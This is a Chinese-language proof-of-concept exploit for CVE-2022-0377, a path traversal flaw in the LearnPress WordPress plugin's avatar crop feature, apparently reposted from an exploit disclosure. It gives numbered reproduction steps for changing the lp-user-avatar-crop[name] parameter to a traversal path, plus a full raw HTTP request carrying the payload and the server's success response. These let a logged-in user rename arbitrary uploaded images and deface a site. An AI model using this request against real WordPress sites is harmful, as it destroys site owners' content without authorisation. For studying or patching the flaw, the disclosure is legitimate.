# 版本:4.1.4.1
# 测试环境:Linux
# CVE: CVE-2022-0377 (https://wpscan.com/vulnerability/0d95ada6-53e3-4a80-a395-eacd7b090f26)
# 描述:
LearnPress 是一个用于创建学习管理系统 (LMS) 的 WordPress 完整解决方案。它可以帮助您创建课程、课程和测验。
此 LMS 的用户可以在注册后上传图像作为个人资料头像。在此过程之后,用户裁剪并保存图像。然后将包含用户提供的图像名称的“POST”请求发送到服务器以重命名和裁剪图像。作为此请求的结果,用户提供的图像的名称将更改为 MD5 值。只有当图像类型为 JPG 或 PNG 时,才能进行此过程。
攻击者可以利用此漏洞重命名任意图像文件。通过这样做,他/她可以破坏网站的设计。恶意行为的一些示例:
- 销毁网站的横幅
- 销毁用户头像
- 销毁帖子图片
- 销毁按钮/应用程序图像等。
# 重现步骤
1.注册并登录learnpress系统。
2. 进入个人资料页面并上传头像图片:https://<learnpress-website>/lp-profile/<your-username>/settings/avatar/
3、在保存图片的同时,通过Burpsuite等本地代理工具拦截POST请求。
4. 将 `lp-user-avatar-crop[name]` 参数的值更改为网站中的任意图像文件路径(例如 /2021/01/image.png 或 /../../图像.png)。该路径相对于“/wp-content/uploads/”。
5.转发截获的请求,检查步骤4中给出的图像文件是否存在。
6. 你会看到图片找不到。因为它的名字改名了。
Request
---------------------------------------------------------------------------
POST /lp-profile/<username>/settings/avatar/?lp-ajax=save-uploaded-user-avatar HTTP/1.1
Host: 127.0.0.1:8000
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 242
Origin: http://127.0.0.1:8000
Connection: close
Referer: http://127.0.0.1:8000/lp-profile/ceylanb/settings/avatar/
Cookie: _learn_press_session_4411def9d576984c8d78253236b2a62f=4509d5151308952d51776226bb847241%7C%7C1641770556%7C%7C19e385a78349f37ac993a36ecda9c41f; wordpress_lp_cart=1; wordpress_logged_in_4411def9d576984c8d78253236b2a62f=ceylanb%7C1642807471%7CRKS5hU3q1b2G0xY1pkwfl43yVJdIqz9fqBLcknvbyzJ%7C98d337987ee0cbc7539a742e2ebbfbe107d1e0c910c3efd9daa51c4775236e19; LP=%7B%22course-tab%22%3A%22overview%22%7D
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
DNT: 1
Sec-GPC: 1
lp-user-avatar-crop%5Bname%5D=%2f..%2f..%2fimage.jpg&lp-user-avatar-crop%5Bwidth%5D=250&lp-user-avatar-crop%5Bheight%5D=250&lp-user-avatar-crop%5Bpoints%5D=0%2C0%2C300%2C300&lp-user-avatar-crop%5Bnonce%5D=8bdc969b07&lp-user-avatar-custom=yes
---------------------------------------------------------------------------
Response
---------------------------------------------------------------------------
HTTP/1.1 200 OK
Date: Sat, 08 Jan 2022 00:30:11 GMT
Server: Apache/2.4.48 (Debian)
X-Powered-By: PHP/7.4.23
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Link: <http://127.0.0.1:8000/wp-json/>; rel="https://api.w.org/"
Link: <http://127.0.0.1:8000/wp-json/wp/v2/pages/17>; rel="alternate"; type="application/json"
Link: <http://127.0.0.1:8000/?p=17>; rel=shortlink
Vary: Accept-Encoding
Content-Length: 191
Connection: close
Content-Type: text/html; charset=UTF-8
<-- LP_AJAX_START -->{"success":true,"avatar":"<img src=\"http:\/\/127.0.0.1:8000\/wp-content\/uploads\/learn-press-profile\/2\/f574f3e6594498507333c41af9426d43.jpg\" \/>"}<-- LP_AJAX_END -->
---------------------------------------------------------------------------
本文系转载,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文系转载,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。